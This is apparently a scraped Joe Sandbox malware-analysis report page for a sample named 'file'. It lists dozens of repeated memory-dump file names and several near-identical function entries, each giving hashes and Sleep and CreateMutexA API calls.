Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 0ec9a675c2b5878c7e45d3f6e675906c408ee525966496e03dc84d005956d705
Instruction ID: 820359fe30f371d980afea603f4c609671d1534a0a8fd548acfcd8296d7d5ef6
Opcode Fuzzy Hash: 0ec9a675c2b5878c7e45d3f6e675906c408ee525966496e03dc84d005956d705
Instruction Fuzzy Hash: 933146316242009BEF08DB78DEC9B6DB776EF82314F248619E418B73D5C77699E08E52

Function 0026A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 8d544f21a98524bb1513a70dbb5032206a3386669710075c657f312ac38d1bfe
Instruction ID: bb11c69098927d4d3dbd6c7e59a064ff3bbccbd7da3c1265afa931d236b02d3a
Opcode Fuzzy Hash: 8d544f21a98524bb1513a70dbb5032206a3386669710075c657f312ac38d1bfe
Instruction Fuzzy Hash: 03314431664201DBFB08DB78DDC9B6DB776EF86310F248618E408A72D5C77699E08A12

Function 0026A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 5d47bf655e4f11df75dc39e027ddf70c2e4e2ebc059d4bd5b7d5ea91604cb500
Instruction ID: c8046bc5d814e4afd3784394a3d1b87a20811dba4cd9a6ffd19f33825ab5531d
Opcode Fuzzy Hash: 5d47bf655e4f11df75dc39e027ddf70c2e4e2ebc059d4bd5b7d5ea91604cb500
Instruction Fuzzy Hash: 1F3168316241009BEB08DB7CDDCDB6DB7B6EF81314F208619E414A72D5CBB599E08E52

Function 0026A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 58a9ed9be6e15fa18966c110ba7e251595781a4a47f6cd0f8d8b7b8f329e5163
Instruction ID: 53954282a8aa1bb3a619a59030ead1ea17d2f924102ed6e7f3e6be1c6b2394e7
Opcode Fuzzy Hash: 58a9ed9be6e15fa18966c110ba7e251595781a4a47f6cd0f8d8b7b8f329e5163
Instruction Fuzzy Hash: 6A314631A241008BEF08DF78DDC9B6DB766EF81314F348619E415AB2D5CB7599E08F12

Function 0026A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: efa1ca858cdc56ca1246fa285ec683b1c9596f2933e959e07423e6c7ca24c100
Instruction ID: ba98d2fd439046cd53641d3cef0b8e79c8bcedc6747b874d327883068d81de53
Opcode Fuzzy Hash: efa1ca858cdc56ca1246fa285ec683b1c9596f2933e959e07423e6c7ca24c100
Instruction Fuzzy Hash: 0D314631624201DBEF08DB78DE89B6DF7B6EF81310F288618E414A72D5C77599E08E52

Function 00269ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
